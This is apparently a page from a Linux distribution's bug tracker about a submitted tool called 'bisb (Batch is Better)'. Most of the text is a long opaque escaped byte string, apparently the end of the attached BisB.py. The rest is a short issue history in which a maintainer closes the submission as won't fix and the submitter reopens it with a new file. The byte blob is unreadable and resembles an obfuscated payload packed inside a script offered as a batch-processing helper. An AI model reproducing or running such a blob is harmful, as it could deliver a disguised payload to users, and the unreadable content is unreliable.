g\xd9\x9auQT\xf1\xf3d\x17\x04xn\x15_\xaex\x07\x05>\x01\x0eZ\x86\xf4\xe1\x872q\x8c(g\xcaP\x8d\x19\xbd\x14\x96\xf1\xce\x82]\xef\xd0\xfa\xaa\x9f\x96\x1a0fHE}\xcf(\xc9\xf2^\x89e!23\xfa\xe57\x83\x9e\xc5\x81\x11\xaa\x9d\xf6\xb9\x93\x85\x8c-\xf9\xc0\xd7(\x9f\xf0\xf1\xcfe\xdeM\xa8\xd00\xb6\xc0\x94J^ \xa2Y\x14\x96\x1fb\x1a\x1b\x95\x19\x91;y\x00JM\xcdr\xe7\x8aF\xbe#\xad\xc9zT\xc56V\xc5xIj\xec\x92Cp\nY\x88%\x7fm\xb14\x97[R\xc1\xb2\xbc\x8617\xab@\xfd\x0b.\x82\x8c\xf7\xe4\xc1R`/\xf5\x1d\xc2\xbc\x17#7\xf1E~\xb6\xe7\x98\xd0^\xef\x89l;\xe9\x93d\x96\xc4\xad~(\x94\x01\x14\x89Kq\x8bN4\x93\xec\xb9J7wz+\xe8g\xa0\xeb\xc7^3;\x17\xe9\x9b\xf2\xe5\xff\xb7\x96\x1b\xf1\x9a\xb1\xb2\xb5\xef\xdc:\xa9\x00J\xa2%\x8f\xe9\x18\x91\x8e\xb4\xe7B\xfdU\rX\x82\xfd\xd7\x86`\xa1"/\xc0\xdb\xa5\x11\xbe\x07i\xf3\x93\xf6\xebN\xb2j\xe2\xc8\xec\x08\xcb\x08ocG\xfa 6\xcdX\xf5>%\x96\xdc\x97\xcdA\xcc\xb7\x83L\xd7kov\x1e\x14\xc7\x9d\xe9\xb3aI\xd6\xb5\xaf\xe24\x01\x95\xbc\xee\xbc 5v\x1c\x94\xc2\xc2\xdaCE_x\x92\x077\xc8\xc87\x84\xafFw\x8b\xf4\xfc\xda!\xd5K\xc4\x96\x8b\xbe$\xffA)\xf5\xad0X\x83\xbc\xd6\x96\xdbk\x8f\xd7|\xa7/\xc8\xcb\xb8\xf46\xb34\x86\xb4f\xfe]z\x1fX\x9b}_\xdc\x02)\x84!F\r\x98\xc9\xe9\xb3L\xbc\x08\x83\xee \xd6\x91 \x8d\xcfqO\xa6\xeb\xd3\xaf(LT\x05;\x89\xed&*Eq\xbfp\x7f\x93\xb6\xbd\xe1]6y\xb35j\x84\x01\x0e\xb4\xddH\xb7[\x8b\xddg\x16\'\x9dI\xa6\xdd\x80\xb7\xa5\x1aTZpy\xf6\xd0\x1c\xfcxi\xda\xe6\xe4\xd4\xb4DX\x1d\xecN\xaf\x1b\xe6\x00\x82\xf3d\x89O\xc7\xc0[\x0b\xd5\x9c\xfe\x14\xd5#\xd4\xd8:\xa5\xae/Z?\x00\xb5\x92"\xad\xa3"\xc1F\x99Q\xaf\x196\x13\xbe\xda\xcc$\xa5c\xa9\x87-\x12[\x11\xb12\x9c\xa7/6\xa4\xder\xb0\x80\xd4\xa6s\xceM3f\xb5\xec0\x1ey\x16\xb8\x87]\x87\xd4\xda\x8b[\xfc\xd5\x97\xb3x\x0e\xf8%\x82&=:\xde\xc0\xc8[\xf5\xb7\xb4\x03w\xb8,dR\x11\xc7\xf1\xbau\xb4\xe9\xef\xd6)\x800j\x17\x0f^\xf0l\x80w\xad_a:\xb7\xb7\xa6\xa6\xe2\xe3\xd9\x1f\x8e\xee\xd9\xbc\xaaa\x00Q\xa8?\xbfGAYm\xf8\x08tj\xecCB\x11\xca\xe58>f\r\x86\xfbbv\xdf\x15\xb3\x08I\x05Z\x10\xfe\x01\xfb\xb9\xb3\xa9\x875W\x18VfJc\xe5e\xa5\xce\x92\x9a1\xb4W\x9f\xff9\x92B\xd4\x9f\xc1\xa0\xd1\xbeL\x98\xf9\xee\xf1\xdft\x87I7\x08\xea0\xa9\x0e$U(}Q\n\xe0+P\xeb\xcbJl\xc0pU}\x1fj\xd6rqt-\x1f\xc0\xd3a\x8a\xa8\x96\xa4\x8b\xcd\xdes6f\xf0S\xdf)\xa1\xc2CN\'\x15q\xe5\xe7U\xf6\xbb\x9fP\x00\xbd\x03\xc8G\xb0\xae2\xea\xc6\x95\xa96\xe8\xc5 \xd9\xc3\xb3>\xdb\xb7o\xb8?>~\x94\xb2\x9fX\xf8\xaf\xfb"5@\x1a\x97=\xe6s\x9a7\xd0dB\xfa\x96?\xe2\xd8\x1dRD\xbc\x06\x86\xccN\xcc\xfej\x98\x06\x9etp\xd8\xd0g1\xcajr/\xeb\xaa\xad%I\xb1\xfc\xda`D\xec9\xb0\xa4t\x9a\xf4M\x1d\xa3%_Jy\x9a+\x1b\x90\xdd\xd2h\x10\x9d\xd8v\xb8\xfe\xb1&Cn\x14\xa2\x82)\x7f\x8b\rjg\xe4Aq\xa9\xce\xe1\xd3\xc6\x82\xda\xf9\xc1:W\xd9)\xd8W\xc8\ti\xc3\xeb\xd4\xd66s\xdc\xbc\x9a\xa0\x1e\x9b\xb4\xc3N\xbdt\xeb\xa45\xb8\x06I\xcb\x9c\xc9\x96\xa5_\x00\xc8I]\xa2\x83\xfb\xe8\xf1\x1f\xb9\xa2\xbc\x82J\xc4,S\x8e,\xed\x91%\xbe\nN\xe6\xa0\xbb\xc9\xd9\xa1\xad\x11>K\x0f\xfeu\xa5\x8c\xeb\x878\xc4\x11\xf5\xd4\x1e\x0bu\xe1&Oe\xc9\xfe\x99\xb9Dy\x7f\xc5\x9a\x9d\x05o\x08J\xf1F0\x8f1\x91<\xceP\x83\x8a\x95\x9f-R\xba\x8f\x85\x82\x99\x04n\x98\x84\x06pk&\xa2\x8c?b\xfb\xc7X2\x04\x1f\xdf\xf2U\xdf\xb5F4\xd1N\xfe\xa8\xea\t\xdf;E\xf6\x8cT4\xe8\x15\xa8\x82uY4\r\xa3\xfb\xa1\xd0\x16\xc8\xa8_\xf74j\x81\xbd\xc2Ae.\xfa\x06y\x05>\xdf1\x99\xb5\xfedvW\xfb\xbf\xd3\xaf\xd6$\xe9D\xe8f\xd3\x047\xc67\x9e\x0c,\xe2IU0\x1c\xa3\xa6x<\xf9|\x9bB \xe6\xf1\xd8\xca`j\x86\xfdA\xd3o\xf7\xe4\x92\xbf\x08\x9b\x01\xc93\xf34\xa9 \xd2\x92\x92\x9fORn\xdcp\x9d\xdf\xac\xa0.\x07\x9br\x9en\x93A\xca%\xc2H\xc2}\x15Vs\xe6S\x80/\xacA\xb5\xf4\xe5\x03L\x982Ev\xc5E0\xa3#},#+\x8f\x14\x0f\x7f>z\x98\x93\xbec/\x9d\x8a\xdfS:\xe6lU,\xf6\xe4G\xeb\xbb\x9c\xaaU\xe6\x86\xa4\xa5U\x7fBUA\xear5\xec\x93\xa0\xf8\xd0I\xcaWD\xe3T\x07\x18\x94\xafe3lC\xc4\xd9\xe0\x95\xfeC\'F\x0c;\x8dOSR.\xd4\xdb\xb5\xfdN\x0eO\xa6\xc83\xe1\xc1IH\x91\x17\xce\x17\x0c2\n?\x0f\x97\xc8\r\xe8\xf4y\x9f\xbb\xd0\x17\xf8\xce\xac\x16G\x12\x06\xdf\xaa\xa6\xc9\x080\xdf\x199\xc5\xf4\xd6\x08\xf7\xd8?-\xf4\x02\x9eJD\xef\xfc\xa8>Md\x16\xc3\x80\xf2>\xde\xf7O\xdem\x1dL\x8a^43\x03\xbdK\xd2\xb1\x94\x98\xfd(\r\x84\xefj\xf0\x8fM+Ai}\xe1\xb7\x83\x89[B6\x98\x16\xd0\xf2\xdf\xe9\xedH\x93\x9f\x0e\x9f\xfb\xd6\xd3\x00\rp\x923\x01\xedDkrzK@\x12\x17@rv\xeb\xdc(\xf4|h\xa8\x18w(\xcb\xbei\xbe\x8a\xea>`\x01|\xa7={`\xcd\x81XC\xadD\xf1\x82\x812\xed\xe24\x15\x11\xc9\xbf\x0ce\x07<M\xe6\x13\xe8\x81$m\xb8R\xdc@\xc2\xc3\x91w\xebl\xdd\xad\x81!\xa7\xb8\xd9\xaav\x92\xe7c\xce2>\xd9\xf18\x1e0|\xfb\x16\x8c\x01\xc9\x9a^\x8a\xbcz"\x88\x8f\x11k\xa6p\x0f\xf77Q\x8b\x08\x16\xb9\x83\xde\xf8\x0cO;\x8e9\xad+\x1b\xfe\x16m \x8c+\xb9r\x88T\xdf=\x9e=\x8d\x9c8\xb2\xd8-\xe9k]\xf9\x9a\x94*\x16\xdaF\xa2\x037\xa4v\xc6\x00\xe0J\x98@\x93\x17\xf2\x06C\x95\x98\xa4>\nAN\x1f\x00)u\xc1\xf9\xfe\xa0_#\xff\xe6\x8f\x99\x8b\x15\xa5Q\r\xf5\n\x0c\x93\xdb\xd2\x95l\xb6M\x9b"\x1fnZ}/~\x89\x8c\x18\x9a-l\x86\xea\xe6\x7f\x9d\xe5\x12Q\x9d\xe8V\xf1\xdaN\x82\xf6\x9f\x91\x1b\x06\xa1~\x16;\xcdm\xb9/\x0c\xd2\xb5\x04\x0e\xad\x02UB\x92\x0f\x04r\xd4\x04\xc2*17\x82\x96\xee\xb9\x98\xcd*n\xdbW\x9a\xeb\xe8\x98\x8b\x7f\xbb\x89\x06\x9b\xb5\x7f\xe3\x12TMO\x97\xa6\x131\x82\x97_9w:&\xd2\x13\xd2\xdaO\xe7\xfd\xd5x\xba\xa1N\xca\x9c\x15sW\x02\ry\xad\x1fO\xa2\xe1\x05\x95R\x9b\xfc/L\xf6\xd4\x93%6\xbe\xbc;c\t\xa4\xae\xfb\xed\xcb\x16^\xec\xb9\xc9r\x9a\xd3\x03\\\xcdR\x82\x93:\xc6\x0f\x8a"\xae\x94%<\x0e\xd6|<\x8e\xafT\x8awgk\xe9r\'sW\x1f\xd8\xf5\x00u\x14\xab\x84\xdeD|\xd2\xdf\xe5\x03\xbf\xbcd\x1a\x11\x83\xb2!\xc5\x92\xc4\x97YC(\n\xfeE\xd3E\xa3vT\xf05\r8P\xee\x82\xa2\xf5;Y\x08\x812\xdca\xa5\x14T\xa7\xe4\x99\x80B\x909\xce\xff\x94\xb0\xc9\xf0\x0c\xaa\x93\\ \\\xa0S\x98\x01\xf9\x80=\xef\xba\x9c\xbaX<\x99\xac\x99\xb1\x8e\x865.\xd2j\xea\xfbj\x8b\x1aD\x82x\xf8N\xef\x1c\x07\x81r\x80^\x03>\xec\xa3\x84o\xadzI\x12\xde\x14\x0c\xcc\xcc\xfbc\x0f\x97\xb7\xa8\xc6V\xa2{\x9c\xb2\xa8C\x81F\xc8\x8e\xad\xa9]\x9f\xab\x00\xa3\x95\xa93\x84\xc1\xdaL\xaa\\Aq(vU&\xeb\xbaE\xddXn \xb5\x96\xeb\xd4\xe4H\xb6\xa9\x97V\xe0\xb8Oc+\xad0.\x0cM\x91\xf3L\x81\xbe\x81\xd3\x0f\xff\x15\xebMN\xca%c\xd0\x92m\xa7\xa6Z\xbe\x863\xb86\xa0\xe59\xc7\x05\x96{l\xf0q-.\xe2\xd9@\x7fe\xe9\xe2\'*\xa5s8\x14\xc2\x9a\xcd\'\xd0A\xb6\xd0\x97o\xfc\xc3\xccj>\xca\x191\xba\xcd\xa6\x0eQ\x1b\x8a{\xa1\xa6\x80>\xd7\x91y\xdb\xc9=W \xe2\xd2\xc5\xc7\xb1\xf5\xabc\xbc\xf2\x03\xa2\x19?^1o \xbf.M\xb7H\xdf\xfbfd\xabq\x8c\x1f\'\x12\xaf\xb4\xed\x8d\x0f\xd6E\x1c\'[\x17\xf2\xa6\x10\x03\x960h\xeb\xc2v\xcd\x15\xa8\xba\xfd\x90\xa7\xa3a\xb5\xa7\x7f\xa1\x05\x13qC0\xe4\x9e\xc82\xc6\x1e\xe0\x95M\xf1\x83\xce\xc7W\x12\x04\x9b2s \xb0\xf0\xb5\x0baFQ\xea\xdd}\x80\x8a\x08W\xd2\xae\xce\xd9\xe1$|\xab\xfa\x937s \xeecw\xc6\xd4>\x16\xd8g\xead\xc4\xabhm\xa8\xbf\xcdvs\xb1\xc2\xc4\xa4\x06\xbb\x15\x85\x01\xd3\xd1\xa6\xee\x1d\xfej#@r\x90W{8\xcd\x13\x05Z\x98L\x0c\xe8u#\t\\\x94\x81\x83\x98\x12\x98\xeb\x96IOv1\x14\x99\xb5V\x1a\xe5\xbe-\x8eO\xddaP\x17\x8e\xd0W\xcd\x82*\xae\xb7I\xf0\x93\x00a\xb7!\xdd\xdb\x90\xe0\x8dGdKI\xa4\xe5\xfd\n \x18\xac\xe4\xee\xb6\x16 \x9e\xb3\x90\xe50\x12\xa2\xb9p|\x84\xe1\x18V\x9e\xf8\x90\x86\xe9+!\xd4\x97\x8b\x82{L\xddS:6\x14q\xee\xcb\xea\x83\xda\xf8r\xdb\xc6Yp@\x1c \x1d\xb0\x8c\x95\xfa\xbd\x12\x9e\xb0\t\xe8\x93\xccu\xf1\xcb>\t\xd7t\x03\t\xac\x9b\x8e\x13!\xf1t\xa9\xf6\xf0r\xe3\xd22\xa5\x8e\x0equ/\xcd\x14\x02/QsDz\xd3\x99l\xf3\xf92\\\x03\x19\x14\x8er&\xb3\xb6\xe8\x10\x8eS\x12\xd0F\xd5g{\x9aG\xf4\x06X\x90<\xbf\x08?\xe9\xb8Y\x85\x12\x0f\xfd\x08\xb1i\xfb\x04\x88\xe3]\xb1Q\xfe\xbb\x83\xe5\xc5`\x9d\x03\xfa\xaay\xa6zd\xdc@\x8e\x10\xba\xb0\x1fW\x07\x18l\xa5\x9e.f\xc0\x01\xbe!\xe2\xe7\x07\x06\xc3b\xe6\xcb\x07\x06E\x12}\xb7\x11\xb6\xeb\xad\x92K\x99=\x89\x0e\x9f\xf0&T\xb7@\x9b\xb1\xa2AJ\xe1\xf0j\xfa\x9a\xc7\xfe\xec5\xa3\x03B\xadg\xef\xe9\xc7\xff\xa2\xf8\xb0\xd81S\x05d\x92\x8fR\xa8\x8d<c\x88o\x12\x90\xad\x17!m\xe1\xba\xba\r\xa9Jd\xb6\xccZ3|i\x12\x9er\x04\xb5@\x00\x86\xcf\xcd\x12\x19\x8b\xa4?\x94\xcb7\x0ep\xd2\xbeQWh?z\x04b\x9dH2\xbdk\xfd\xb3\xbb\x9a\xd3\xfer\x13\xa0:Fjl\xff\xdd{.\n&\x06\xa1`\xf7\xd4i\rU|z\xdb"\xa4\xacG\xec\x1fX\x1d\x80\xf16\xe2\x01\xe8\xdd\xee`\xedQN\xf1j\xde3\x13~N\x84|\x8e\x93\\1\xf5\x03\x1f\xe3\x17\x1dpf\xa8\xc7d\xed\x8cQ\x87N\xf8\xf5\x8e\xb4\x90\xb8C\xab\xa5LAGa\x05\x9ai\xc7 3\xb3\xfde\x86\x18*\xd4\xaf(\xbf\xef.\x10\xb6\xc7\xef3y\x0e\xbe\xd6\x13|\x07BHf\x1d\x0c\xa6\xbaD\x87Bi\xbf\x97\x8e\xd7\xfaM\x0c<\xf8\xe2\xa7\xf3\xa7\xa8\xa2\xc0\xa7\xc0[\xf5\x8d|\x12\x01\x0f\xbc\x8c\xaaN\xe1\xdan7\xbd=\x1a"Y\x06\xf0\xe1\xf6\xfdJ\xed\x98\xf0\xfb\xe7O(\xc2"\xc1\\\x87c\xc7 BQ,\x1d\x95\x80M\xc2\x80/\xe5\xf4\xbbs\x19\xef5\x17\xac\xe0^\n\xf7T\xdd\x97\xcc\xb7h\xa1\x84\xb1\x97\xa5\xc3\xc7\x1e\x8f\xec\xea\xa0\xc5OsI>\xf1\x06)\xd0$\x10\xc0BCO\xbbk\xc9\xcfG \xdcN\xdbkp8\xe2\xbcX\xda\xa5<\xee\x8c\x96\x84Ks\xc5s\xd9\xdb\x17\xf23\xb0\xd9\x0b~\xd8h\x93{\x1a\x1c\x12\xda\xe0//\xa5\x9e\x01\xb7lkY^\x8e<Q\x82E\xef.\xdc\xb8\xf2P5Mi%\xfe>;\xfe\xc0e=] \r\x08&w\xe7\xb7\xda\xec\xeb[\xf1.6vI\x94g%wi\xf9.\xe0\x0ctR\xf1hj\x08\xa5rg\xa7\xe1\xce=\xad\xf3U6\xea>Z\xa96\x986\x97\x90\xe0\x0et\x1a\xf8\xb4\xa1[{\xc6\xc8a\xdca\x85)\xd0\x8fX\xd5\xc4\x8bKd\xc1\\\x0eJ;8\xda\x7f\xc7\x07\x88\xc6,\x8b\x89\xaf\x88\x81\x12\xe5\xa9Xr\x16\xd3\xfe\x9f\x8a\x12IycV\x9a\xcfG\xc7\xbch\x176k\x86\xdd\xdf\x15\x06\xb5\x02&D\xef\x81\x95\xab\xa2\xc1\x15-\x07E\xbd\x89\xfe\x10\x9e\xda\x12\xd5%!\x8d\x07\xf9\'r,\xec\xfe\x0fv\xb8\x0b\xb3,j\x9e\x15.- Z/\x88\xf0\x8d\xef$ap\xfc\xeel\xde\xa0_\xe8\xc9\xd6\xdav\xbc\x1b\xe5\xb0.\xa8\xab*\xdb\xbck\xd0\x8b\xe7\x10\xfeF\x9e\xe1O\r1\xc77}\x8d\x0f\xa2\xc1(\xc8\xb9\x85\x1ey\x9a8\xa0\x00\xd4\xe3\x17\x80\x15\xc80h\xed\x19\x82?\x96#W-.\xe9\x82\xd7\x0c\x19\x12\xab\xb1&T\x87\xbafF\x87\x90\xba\x13\xf6\xd1kjx\xa7\x8b\xca\xbaNG\xf2^\x84\xd30d\xbf\x14Ey\xfb\x04n\xb4\x87\xa3\xc82\xa5\xc5\xb6D\x05\t~\r\xe3b\x02\xe7\x0bDS60\xe8\x12%\xed,\xd4^\x93N\xe9}\x94^\xa4i\x8b\x1b\xa0<\x13\xf7g\x0b\xd0\x19\xdb\xe0\xa5O\x16\x08\x01\xc1\xc5\x1ca\xeb\x8b\x10\xfb\x1d!\x85\x16\n\x83\x8b\x8c\xe6\x1e\x12\xf7yVu\xdd-V\xa2+\xc0\r\x18\x81\xa3v^\xdc\xc34\x8f\xc2-\xe1\xd7\xa6b\x1f\xa0\x9c\x84\xf8\xf4\x8e\x9b\xdd\x7f\x15\x9a\x9a\xbe\xcc\xf8\xe9\xe0W\xa4\xe9I\xc5v\x0f\x96\xbb\xc0\xe8\x91\xc6\xc5\xfd7a\xe0\xf6c\x93KK\xec\x1dW\xb1\x0e\xc4\x96]\x07L\xb2\xda\x10\xd2=\x96\xff}\x16S\x05\xe9\xb0<\xa1{\x137\x92\xdb\xc6G\xfb\x84\x86\x9a\xac\x893\x15\x9a\xef\x1fOh\xbe\xcc\x80\x97\xbf\xc7\xd7\xee\xd0\x11\xcd&g\xcb_\xef\x8b\xbd\xe6\xb1\x9e\xe3\x877\xf7\xf3\\\xcb\x072\xad\xffj\xa1\xfb]\xa4\xd31 dB\x1bE\xd3\xbee\xe5\xb9\x02O\xe6\xe5\xde\x10J\x8d,t\x904\x0b#\xeaIsXv\xa1\xb8\x89\xaa\xa6\xb9\xd6\x95\x19\x02?\\\xe7\xfa>6\x89\x8bp\x060\xc0\x93\xec\t\xed*\x99\x81\x19\x14\xc5M\xa8Q\xbf\xd1\xbb\xdb\xc6\xf9\x89f\xf5=y\x9dY\xac0n\x1d\x8cq)9\xf9\xe5\xf3\xd3\x99\'\xa3sj\x10l\xb7\x10\x8e\x15C\xefu\xa6B\x80\xb7\xb39.\xca\xd2~Y\x82\xeeNd/\xd5\xe0\xc4\xf4\x024\xee\xb7\xe3\x88\xdc\xe1t\x02\xc7n4\x04\x1f0\xf2\xc6pe\xbf\xa0\xc4\xff\xcbs3\xaa~\x89\x8d\xa7&\xf1\x9aa\xb0\xd2\xff1L\xc1l\x8c\x7fE\x17 );\xc7\xb4"9\xf1&-\xcdN\xc5\xe5\xfd\x91\x0cj1;3\xba.\xbf\xea\xe11\xf2\xab\xf1/\xf6*\x10\xba\xdb\xae\xb2P\x9dj\\\xb8\xe7\x9d\xf6\xaaE\xb0\x01e\x90\x1f\xe2\x08f%\xe0\xb4:\xe7\x18\x15\xd3\x86Q\x9d\xbd\xff\x81\xeew\xc2\xac`\xc8QMa\xef\xd5z\x839\xf0oj\x8e\xa8\x88\xea\xc7b\x8c\xd0\xdb\xe8>\xe2H\x19;\xca\xcc\x1cb\x07\x07[\x13;$\xf3H\xaa\x9c>\x13\xf5:m\xcb\x07\xe8\x11\x03\xad\xd8\x02\xc3C\x1f{\x19\xeeWL\xe2d\x03{Cj\xc0\x964g\xa2\x8d\xfc\x92,\x0e\xdc7\x944\to\x12\xb5b\x83\x0fwr{\x8a ;\xe3I\xb8btx)\x832\xb6\xa30\x1a\x7f\xc8G\x9f\xd4X\xe5\x12\xf3(,\xee4\x04}!\xb6\xe0H$\xfe3<\xa6j\x7f\x12\x8c~\x1d\xe6+\xd1\x93\xea\x88\xe4\xe4\x0c\x7f\xb8\xde\x1fR\x8bq\xed\xfc&<\x01\xfc\xc9\x8ef\x9f\xfdm\x8d\xf9\xc2\x8c\xff_z-f\xd7\xcd\xd5\xfd\xaf\x04\x12\xfd\x13\xa6\x92\xc4\xbe\xf8\xc4\xe4\xd8\xddi\x84\xb5TT\xb6\xc4\xd5\x07e\xeb\xd4\xaaL\xde\xfc\x98C\xceL-\x07\xae\xd4\xb0\xb4\xd5\x06\xe8\x0b\xcf\xeb\xe9"B\xa86\x83\x90\xaen\x14[\x92\xf9,\x1d\x0c\xfbx\xe9-\'PT\x9b\xe7\xc1\x11\x0c\xd2J"j\xa5\x0e0o<\x9a9X\xe0\xed\xf7\xe7\x88y\xb5\x871\x89\n\xd2v\xf2I\xbe\xa7\x86\x19\xa7\xac\x8e\xa8\xfa\x0b\x97.plD\x88)2\x8a\x1bL\xb6\x92\xad<L\xf5Xc\x17V\xac\xab\x01\xab$k}\x95,\xd3M`#\x8c\xdb\x8c\x98k\x90z\x7fw\x88%]o\xd4\xb2x\xd3\x85\xe8_h\x15\xaf\xe4\xeb\xfax&\xa4\x05C\xad\xaeY\x90\xb7\x04\t\xc7\xf7u\xdeR\x0b\xaeO\xee\x16j\xe7\x962\xfeX&\x18Q\xdaw\xd5\x04\xb0\xd5mD\xa8\x95Mc\xa9y\xe0,3@\x0e\x7f=-\xd5w\xbf\x19\x00I\xfe\xd6\xea\xf4\x98[\x16n\xf8\xae\x8e?o\x0fM~Fo~>4t\x91z\xe6\xf8Q\x06\x82c\xed\xc4\x92\x899J\xbaR\xd5\x14nl\xc9\x85\\\x04\xea#\x01\x9d\x1f~\x1d\x89gs\x8a(\xe2A%P\xae\xef\xe2O\x10\xd5|\xa8\ni\x87\xef\xa1\x82~\xa4\x9d\x02d\xc7f+!\xa00\xa5wn\x02\x9f\xa6z>\xdd\xebG\xfb\xc0\xf8o\xe1q\x89+\xb4T\xc7\xdc_\\S/\xa7\xd0p\x164\xe6\xff6+K\xbfE\xcd\x01e\xa6T\x99`\x1d\xde\xf4\xfd/\xd4\xa8\xd2\xc1\xe9\x10\xd5c\xe2Y3\x06\x9f\xb5\x14,WC\xaf\x9c\x8a\x13\x18\xcc$\xf0J\xa9\xc6\x03\x9c\xaf\x14\x8f\xdf\xd9\xc0<^7\xf8,\xe0*\x8c\xa3\'\xe1\x1a\x9a5\xa0\xb1\x89\xe3hL+p\xa1C\xb75]\xb1\xe32\x9d\x04r\xe7.\xf2\xc1\x1a)\xd3\x93>c\x10G~\x87~O5\x1bW\xad4 \x08\xc1\xf92E5F\x9d6#\x98\x87O\xf1\xb9\x87\xdb\x0c\x02_\xfe\x98\x07-\xe4%\x83\x01\xb6N\xd7U\x08\x88W\xaa\xca\xe9E\xdbC{\r\xc1\xff\x9fa\x1cli\xd2\xf4=l\x97B\xcfk\xfcn\xf8F\x80\x05e\xb6~\x06\xb76H $\xd8\x99\xaf\xbd\xe4\xfb\xde\xd0\xa1d\x86oG\x1c\xef\xc8\xf3\xfc\xdb\tC\t\xdf\xff-\x11\xc4<\xad-\xffz\x02\xf7@\xb0y\xb4\xf8\xfdaY\x9ck\x16\x80\xb4\x0b\x10\xca\xb4\xdf@\xd4\x8d/w\x86gGA\xa2\xfc5#-\xf4S\xd7\x04\xde\xe1\xdb\xe14E\xb3f\x80\x9e\x9f\x89\xbf@\xfb\xc2\x85\x04\xca\xf3fH`(8i\xa6:\x03\xf7\x99\xa9p!u\xe7\x1f\x1e\xc1\r\x9e\n\x1e\xba\x87\x8aF\xbd\xd6\xa3\xd8E7\xb8U\xf6\x1b\xc4\x91_+\x81\xeb\xa4\x9e\xc4+|\x17\x7fa3U\x98r\xc0v/\xea\xb1;\xf7v\xf3\xcd\xeb\x82\xa0x\xa5O\x91\xd3\x11\xe1\xdbaV\xc5\x0c\xcd\xb7]/*6\x05~r\xcd\x15\xcf6 \xc7Y>\x1d\x05h~\x96\x1c*%\xf4\x00e\xa4fa`\xef\x8c\xd0\xde\xf2V\xb6\x19\x17\x16\xf8\xbe3\x15.`\xc5\x02\xcffX\x06\xca\x14E\x0b\xf2E\x1e\xa8&\xd2:\x937y>OH\x93\xb3k\x9b\x85A\x95-\xaf\xaa\x84r\x84aA\xa0:!\x02\xbb\xe9\x08A\xd9\t\x88\x04\x96\xd67\x90d"\x9c<Z\xef\x86/\xbd\x90x(\xb5\x02h]\xde\x92\x07g%]\t\x04\xc2\x87?\x85q\xf8*.\x18\x82_\xf6)\x1fN\x1a\x86\xb0}c\x96:\xb4a\xba\xa6\xcc\xe2\xf1hk\xb8:\xd4\xc8\x0c\xa8\xf6_Fp\xe6\x8b\x1e\xf4\x05k\xcb"\x8d\xd5V\x1b\x86\x80\x08G?I\xd1\x91\xf5\xc2\xf4%Wb\x0f\xdbY\x80q\xcf<P\xa8\xd9\x86M\x9b\xb4j\xb7}\t\xfd\x00K\x07\xa4\xdfO\x02\x00\x80r\xbciS\xa1`\xe5\x94\x84\x89\x16\xdc\'\xb5\xd2w\x92\x99\x85\xce\xa1\x91\x1e\xe6\xa5\xdd9um\x95\xc3{\x19\xe6\xf7O\x01.\xd0b\xed\x88=:\x13\x95%\xadT\x15\x17GnX\xbb\x05\x1cl\xa9\xff\x96\x86\x0cW\x84\xef,y\x05z\x1c\xc3\xaf\x9f&u\xb3\xfd\xdc\xabtq\xae\x8d\xf04\xf9=,:\x19u\xec<X\xa0\x13\xb9r\xde\xcdE\x94\xd4\xdeC\x9aP\xce\x1e\xff\xf0\xb5\x94\xaa\x04\xaaw\xd6\xa6\x87\xc9v"\xf9\x19\xbc\xa3\xec\xa6h\x00\xb3\xe4\xda\xf6\xd5\x1cS9\n\x04y5b\x86\x83\xed\xfdh)\xece\x00\r\x8dB\x8e\xba[Q\xaf\x86\x96\xfa\x07\xafw\xe4\x94C\xa3a]k~\x0b\xde\x95\xf5\x91%U\xd2\xdfJ\x97\xfb\xeb\xb1#\x97\x82\x0eu\x07\x985\xd7\xda\n y\xbe)\xa0\x1d\xe9L?\x98\x8a\x9c\x0f\\\x00\x7f\x1e\xe62\xf73\\Z\xdf\xae\xd5\x84a\x81J`/\x9b\xeb\xbbN\x01\xdf9\x0f\xa4\x89\x0egX)ed\xe8}\xc4 \xb9t\x85\xd8\xb6\xea:aq\x0b}\x86\xa1\x80\xda8:\xd0g\x1ayB\xc7\x9e\x86\x8cZ\xf4\xfe\x94\x1f\xb1\x10\xd6Q0\xab4\x87\x9ak\x10@\x1b\x93\xe2\x9a(\xbd\xd9\xa1\xf9_N_\xa2IO5\xfc\\\xd3\xa2 i\x14\xa1"\x10\x03U\xe9\x14W')
BisB.py (27,247 bytes)   

Issue History

Date Modified Username Field Change
2024-07-11 17:46 gteksd New Issue
2024-07-11 17:46 gteksd File Added: BisB.sh
2024-07-18 09:15 daniruiz Summary bisb (Batch is Better) - A tool to streamline batch processing tasks in the command line. => bisb - (Batch is Better) A tool to streamline batch processing tasks in the command line.
2024-08-02 14:35 g0tmi1k Note Added: 0019583
2024-08-02 14:35 g0tmi1k Note Added: 0019584
2024-08-02 14:35 g0tmi1k Status new => closed
2024-08-02 14:35 g0tmi1k Resolution open => won't fix
2024-08-05 11:31 gteksd Status closed => feedback
2024-08-05 11:31 gteksd Resolution won't fix => reopened
2024-08-05 11:31 gteksd Note Added: 0019613
2024-08-05 17:23 gteksd Note Edited: 0019613
2024-08-05 17:24 gteksd Note Edited: 0019613
2024-09-10 06:07 gteksd Note Edited: 0019613
2024-09-10 06:27 gteksd Status feedback => new
2024-09-10 06:37 gteksd Note Added: 0019729
2024-09-10 06:37 gteksd File Added: BisB.py